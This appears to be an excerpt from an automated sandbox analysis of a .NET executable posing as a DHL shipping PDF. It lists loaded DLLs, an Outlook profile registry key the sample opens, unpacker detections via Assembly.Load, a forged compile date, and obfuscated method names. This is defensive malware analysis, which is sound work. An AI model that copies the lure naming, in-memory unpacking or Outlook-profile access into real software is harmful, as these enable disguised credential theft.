Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: NKUn.pdb source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source:	Binary string: NKUn.pdbSHA2569x source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.2c9f698.1.raw.unpack, .cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.55c0000.6.raw.unpack, .cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, SXeNjVTESUiPlIoGVN.cs	.Net Code: X6gCnMyEEf System.Reflection.Assembly.Load(byte[])
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, SXeNjVTESUiPlIoGVN.cs	.Net Code: X6gCnMyEEf System.Reflection.Assembly.Load(byte[])
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, SXeNjVTESUiPlIoGVN.cs	.Net Code: X6gCnMyEEf System.Reflection.Assembly.Load(byte[])

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: 0xBAE167AD [Thu May 9 14:11:57 2069 UTC]

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0714A34A push eax; ret		0_2_0714A34D
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_07141CEE push ds; retf		0_2_07141CEF

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: section name: .text entropy: 7.711256554162364

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, MfBcmtyiiOcv45FyA6.cs	High entropy of concatenated method names: 'zNnucbZK9M', 'BeCumytkiQ', 'HrIuuHoGSh', 'XRRuLGTjF0', 'Wrdu97fluU', 'P36uHtly4o', 'Dispose', 'HAps4ibK2S', 'HVasd7VHRE', 'rCksij7bdl'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, xNZtbo8jW3j16KHc9B.cs	High entropy of concatenated method names: 'dbKSiHv0Pp', 'dO8SRWYBaa', 'm3ESa5jjHx', 'b02SX7VEtg', 'lROSujTmA5', 'xqtSTVGddt', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, deToFC7XTWvUtFM6S9.cs	High entropy of concatenated method names: 'ToString', 'v55kN7wBHn', 'xybkx9XSJp', 'wOKkhDUiCO', 'Yrwk1gjQgj', 'O7MkeQDZ2y', 'R2Lk65F8Ry', 'QF8k08hQm7', 'slxkPnOga4', 'sFQkjNOeRj'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, Pwd2CcULBNau6IqyCn.cs	High entropy of concatenated method names: 'hbqcJJkrCy', 'eINc2abhid', 'DT0cUVkIvm', 'TebcMjnAtT', 'EDhcxoxS9l', 'wwZchmmw95', 'QqUc16Pack', 'eO0ces1xIM', 'oBXc6etImu', 'YEJc0a3bx0'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, BqQxfQzLLQbFtPRW3J.cs	High entropy of concatenated method names: 'HiMSfbaJWY', 'UZgSYLHFiS', 'dOgSD9YEWk', 'fiPStMKa2h', 'uMdSxhuhvH', 'zn8S1o6wK1', 'XJrSeJxbXt', 'h1kSHKidTj', 'VNVSG0RGt1', 'BAlSFM6MyH'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, I7MtYtpPZaFAheexDu.cs	High entropy of concatenated method names: 'XPAnY10wV', 'RAUwK3wxX', 'jCRfkcyS2', 'of9Q8SLlg', 'J7dD2hgoc', 'pgmEZN5DI', 'fCc5SV3IDrSUcndWMe', 'FEhI6JrqGTkxZyNDwW', 'o5csSYsRa', 'S8MSDgxYc'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, dRkct4CeFnMgMmS3ds.cs	High entropy of concatenated method names: 'TiR5XZZiMm', 'GgN5TbupTa', 'l1F5rrJSFk', 'cax5K41uki', 'mCs5c8aFiG', 'I8Q5kkgBG0', 'tXodXri4e3Pss4Tgc0', 'zv7lhwaoETO3SJ1wGJ', 'CVD3MTlb6RZ9W6erQE', 'wV3557vWaP'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, iZZiMmYtgNbupTaoiP.cs	High entropy of concatenated method names: 'W7PdUlLGPM', 'KQcdMhvy8v', 'q7yd7OeGl6', 'Sa7dZiWSgJ', 'PP7dWHpbZB', 'QNtdqcj5Os', 'WtfdyIuwae', 'kOydoBgQii', 'elhdBE2tJl', 'ONCd86Ixv3'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, ErUi7lD1FrJSFkpax4.cs	High entropy of concatenated method names: 'UeIiwtuIyM', 'jwiifH8AFc', 'GP5iYvmYMZ', 'QeRiDBUgLI', 'lZZic6DkXR', 'up9ikVsMPg', 'KuDim7tHdW', 'zB9isjL9Mo', 'Tc7iuoSaYe', 'WTZiSh4CaK'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, awiqG603sLp4n4D4Pi.cs	High entropy of concatenated method names: 'N31X4gDs4M', 'bh6Xi9goVO', 'NuBXalSu3I', 'Kfna8FIG3P', 'B0iazrEgCu', 'htfXbiS8mJ', 'FxLX51rNQT', 'qq9XpMclrN', 'NmdXVi7D9S', 'M4gXCgP6hW'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, fIE1H5BiCREqRqSkOl.cs	High entropy of concatenated method names: 'aAiutRbCK4', 'oC2uxFIrSD', 'myJuh3kglP', 'tk6u11c8Nd', 'A6sueL7kSN', 'JNUu6TjHZV', 'vTMu0gU4Sd', 'KFUuPU4ayK', 'aTWujw5S8f', 'LR5uJNag6t'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, LQxvD75CeVNpyj0oPCK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'aYJ3u0m8gj', 'aUT3S76k24', 'CwQ3LuP546', 'z9i33GGlli', 'xgw39BUdgW', 'XaE3vDRD7p', 'JgC3HkXNiU'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, yiG18QtkgBG0q72fMG.cs	High entropy of concatenated method names: 'xrIaOqC6qj', 'RECadPc6uQ', 'KQyaR0KVG4', 'qqFaXEeVy9', 'KARaT9eRwN', 'e9ERWoEQnU', 'JBRRquaeAj', 'wvFRyWGtno', 'NefRoINMhT', 'kllRBoP378'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, MuxZ4DZLQy9qJCXI4U.cs	High entropy of concatenated method names: 'T5SmrXVfSB', 'AMrmKQSFtk', 'ToString', 'IXHm4DdOdY', 'jGYmdLDfFD', 'fBfmiWEUPX', 'v3nmRv0T0c', 'iJXmaQUKyh', 'kGomXxxKXW', 'tOsmTtyWoF'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, nk1RHsjxXGk2crEfVF.cs	High entropy of concatenated method names: 'EsKXGPyr6m', 'fdUXF2CAUx', 'Y5hXnNpjVK', 'dQlXwH7TtP', 'Td4XgwpCRE', 'TZHXfVdg2x', 'xepXQZHbcG', 'Q4gXY6b6cD', 'bUiXDtX1ir', 'gqvXElWeOQ'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, IukijGEZYdQjGrCs8a.cs	High entropy of concatenated method names: 'unWRgWvK5S', 'UErRQV91GE', 'tVfihCDovu', 'cWFi1oE44J', 'eM3ie0f3t5', 'qoCi6TpxWB', 'yiai0hP8VA', 'WPpiPPNBl3', 'CkCijUXMu2', 'CJqiJtLvpU'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, jyMCAX5bjsK0ZXc3xrI.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CMVSNdTnH9', 'toJS2I4Gx2', 'y1WSIk5Kx7', 'jxaSUwWFEX', 'FYZSM7cCwZ', 'jQYS72RMxp', 'WrHSZLHkZB'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, SXeNjVTESUiPlIoGVN.cs	High entropy of concatenated method names: 'NQTVORTIqk', 'hlPV41o3Hv', 'RQ6VdPgZbO', 'bJ0VidnE9I', 'hnrVR7iCnL', 'RppVaQLIZb', 'XVTVXtd8Ly', 'wKMVTjvUMt', 'sdAVlQ2yR3', 'whHVrZOFnV'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, xnApCVIMjrAdI14lEe.cs	High entropy of concatenated method names: 'LuOAYNVVHs', 'xlxADBl0J6', 'OL0AtQ7EN0', 'TLOAxttZHN', 'oBhA14XYjv', 'KsVAeMjED8', 'cL6A0H2A5U', 'w1uAP4U135', 'CxGAJjB2RQ', 'OhdAN7y352'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, eVQ1hw554PPm3rQXRCb.cs	High entropy of concatenated method names: 'h85S8Xvo3Y', 'UoMSz2136K', 'P0nLbbdiTj', 'hmkL5eQgcf', 'MruLp8CpCm', 'AN7LVupXLR', 'sohLCKn59q', 'vAjLOGuoWN', 'Y46L4Y3qHT', 'XnTLdH4msA'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d69d78.4.raw.unpack, RMxiovdXSF96pWK4ss.cs	High entropy of concatenated method names: 'Dispose', 'fcv5B45FyA', 'BJwpxEWrFX', 'Feo4tAAH3f', 'K0o58JZ1Z8', 'MeX5zjNqDU', 'ProcessDialogKey', 'oPdpbIE1H5', 'gCRp5EqRqS', 'pOlppGNZtb'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, MfBcmtyiiOcv45FyA6.cs	High entropy of concatenated method names: 'zNnucbZK9M', 'BeCumytkiQ', 'HrIuuHoGSh', 'XRRuLGTjF0', 'Wrdu97fluU', 'P36uHtly4o', 'Dispose', 'HAps4ibK2S', 'HVasd7VHRE', 'rCksij7bdl'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, xNZtbo8jW3j16KHc9B.cs	High entropy of concatenated method names: 'dbKSiHv0Pp', 'dO8SRWYBaa', 'm3ESa5jjHx', 'b02SX7VEtg', 'lROSujTmA5', 'xqtSTVGddt', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, deToFC7XTWvUtFM6S9.cs	High entropy of concatenated method names: 'ToString', 'v55kN7wBHn', 'xybkx9XSJp', 'wOKkhDUiCO', 'Yrwk1gjQgj', 'O7MkeQDZ2y', 'R2Lk65F8Ry', 'QF8k08hQm7', 'slxkPnOga4', 'sFQkjNOeRj'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, Pwd2CcULBNau6IqyCn.cs	High entropy of concatenated method names: 'hbqcJJkrCy', 'eINc2abhid', 'DT0cUVkIvm', 'TebcMjnAtT', 'EDhcxoxS9l', 'wwZchmmw95', 'QqUc16Pack', 'eO0ces1xIM', 'oBXc6etImu', 'YEJc0a3bx0'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, BqQxfQzLLQbFtPRW3J.cs	High entropy of concatenated method names: 'HiMSfbaJWY', 'UZgSYLHFiS', 'dOgSD9YEWk', 'fiPStMKa2h', 'uMdSxhuhvH', 'zn8S1o6wK1', 'XJrSeJxbXt', 'h1kSHKidTj', 'VNVSG0RGt1', 'BAlSFM6MyH'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, I7MtYtpPZaFAheexDu.cs	High entropy of concatenated method names: 'XPAnY10wV', 'RAUwK3wxX', 'jCRfkcyS2', 'of9Q8SLlg', 'J7dD2hgoc', 'pgmEZN5DI', 'fCc5SV3IDrSUcndWMe', 'FEhI6JrqGTkxZyNDwW', 'o5csSYsRa', 'S8MSDgxYc'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, dRkct4CeFnMgMmS3ds.cs	High entropy of concatenated method names: 'TiR5XZZiMm', 'GgN5TbupTa', 'l1F5rrJSFk', 'cax5K41uki', 'mCs5c8aFiG', 'I8Q5kkgBG0', 'tXodXri4e3Pss4Tgc0', 'zv7lhwaoETO3SJ1wGJ', 'CVD3MTlb6RZ9W6erQE', 'wV3557vWaP'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, iZZiMmYtgNbupTaoiP.cs	High entropy of concatenated method names: 'W7PdUlLGPM', 'KQcdMhvy8v', 'q7yd7OeGl6', 'Sa7dZiWSgJ', 'PP7dWHpbZB', 'QNtdqcj5Os', 'WtfdyIuwae', 'kOydoBgQii', 'elhdBE2tJl', 'ONCd86Ixv3'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, ErUi7lD1FrJSFkpax4.cs	High entropy of concatenated method names: 'UeIiwtuIyM', 'jwiifH8AFc', 'GP5iYvmYMZ', 'QeRiDBUgLI', 'lZZic6DkXR', 'up9ikVsMPg', 'KuDim7tHdW', 'zB9isjL9Mo', 'Tc7iuoSaYe', 'WTZiSh4CaK'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, awiqG603sLp4n4D4Pi.cs	High entropy of concatenated method names: 'N31X4gDs4M', 'bh6Xi9goVO', 'NuBXalSu3I', 'Kfna8FIG3P', 'B0iazrEgCu', 'htfXbiS8mJ', 'FxLX51rNQT', 'qq9XpMclrN', 'NmdXVi7D9S', 'M4gXCgP6hW'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, fIE1H5BiCREqRqSkOl.cs	High entropy of concatenated method names: 'aAiutRbCK4', 'oC2uxFIrSD', 'myJuh3kglP', 'tk6u11c8Nd', 'A6sueL7kSN', 'JNUu6TjHZV', 'vTMu0gU4Sd', 'KFUuPU4ayK', 'aTWujw5S8f', 'LR5uJNag6t'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, LQxvD75CeVNpyj0oPCK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'aYJ3u0m8gj', 'aUT3S76k24', 'CwQ3LuP546', 'z9i33GGlli', 'xgw39BUdgW', 'XaE3vDRD7p', 'JgC3HkXNiU'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, yiG18QtkgBG0q72fMG.cs	High entropy of concatenated method names: 'xrIaOqC6qj', 'RECadPc6uQ', 'KQyaR0KVG4', 'qqFaXEeVy9', 'KARaT9eRwN', 'e9ERWoEQnU', 'JBRRquaeAj', 'wvFRyWGtno', 'NefRoINMhT', 'kllRBoP378'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, MuxZ4DZLQy9qJCXI4U.cs	High entropy of concatenated method names: 'T5SmrXVfSB', 'AMrmKQSFtk', 'ToString', 'IXHm4DdOdY', 'jGYmdLDfFD', 'fBfmiWEUPX', 'v3nmRv0T0c', 'iJXmaQUKyh', 'kGomXxxKXW', 'tOsmTtyWoF'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, nk1RHsjxXGk2crEfVF.cs	High entropy of concatenated method names: 'EsKXGPyr6m', 'fdUXF2CAUx', 'Y5hXnNpjVK', 'dQlXwH7TtP', 'Td4XgwpCRE', 'TZHXfVdg2x', 'xepXQZHbcG', 'Q4gXY6b6cD', 'bUiXDtX1ir', 'gqvXElWeOQ'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, IukijGEZYdQjGrCs8a.cs	High entropy of concatenated method names: 'unWRgWvK5S', 'UErRQV91GE', 'tVfihCDovu', 'cWFi1oE44J', 'eM3ie0f3t5', 'qoCi6TpxWB', 'yiai0hP8VA', 'WPpiPPNBl3', 'CkCijUXMu2', 'CJqiJtLvpU'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, jyMCAX5bjsK0ZXc3xrI.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CMVSNdTnH9', 'toJS2I4Gx2', 'y1WSIk5Kx7', 'jxaSUwWFEX', 'FYZSM7cCwZ', 'jQYS72RMxp', 'WrHSZLHkZB'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, SXeNjVTESUiPlIoGVN.cs	High entropy of concatenated method names: 'NQTVORTIqk', 'hlPV41o3Hv', 'RQ6VdPgZbO', 'bJ0VidnE9I', 'hnrVR7iCnL', 'RppVaQLIZb', 'XVTVXtd8Ly', 'wKMVTjvUMt', 'sdAVlQ2yR3', 'whHVrZOFnV'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, xnApCVIMjrAdI14lEe.cs	High entropy of concatenated method names: 'LuOAYNVVHs', 'xlxADBl0J6', 'OL0AtQ7EN0', 'TLOAxttZHN', 'oBhA14XYjv', 'KsVAeMjED8', 'cL6A0H2A5U', 'w1uAP4U135', 'CxGAJjB2RQ', 'OhdAN7y352'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, eVQ1hw554PPm3rQXRCb.cs	High entropy of concatenated method names: 'h85S8Xvo3Y', 'UoMSz2136K', 'P0nLbbdiTj', 'hmkL5eQgcf', 'MruLp8CpCm', 'AN7LVupXLR', 'sohLCKn59q', 'vAjLOGuoWN', 'Y46L4Y3qHT', 'XnTLdH4msA'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3d0e958.5.raw.unpack, RMxiovdXSF96pWK4ss.cs	High entropy of concatenated method names: 'Dispose', 'fcv5B45FyA', 'BJwpxEWrFX', 'Feo4tAAH3f', 'K0o58JZ1Z8', 'MeX5zjNqDU', 'ProcessDialogKey', 'oPdpbIE1H5', 'gCRp5EqRqS', 'pOlppGNZtb'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, MfBcmtyiiOcv45FyA6.cs	High entropy of concatenated method names: 'zNnucbZK9M', 'BeCumytkiQ', 'HrIuuHoGSh', 'XRRuLGTjF0', 'Wrdu97fluU', 'P36uHtly4o', 'Dispose', 'HAps4ibK2S', 'HVasd7VHRE', 'rCksij7bdl'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, xNZtbo8jW3j16KHc9B.cs	High entropy of concatenated method names: 'dbKSiHv0Pp', 'dO8SRWYBaa', 'm3ESa5jjHx', 'b02SX7VEtg', 'lROSujTmA5', 'xqtSTVGddt', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, deToFC7XTWvUtFM6S9.cs	High entropy of concatenated method names: 'ToString', 'v55kN7wBHn', 'xybkx9XSJp', 'wOKkhDUiCO', 'Yrwk1gjQgj', 'O7MkeQDZ2y', 'R2Lk65F8Ry', 'QF8k08hQm7', 'slxkPnOga4', 'sFQkjNOeRj'
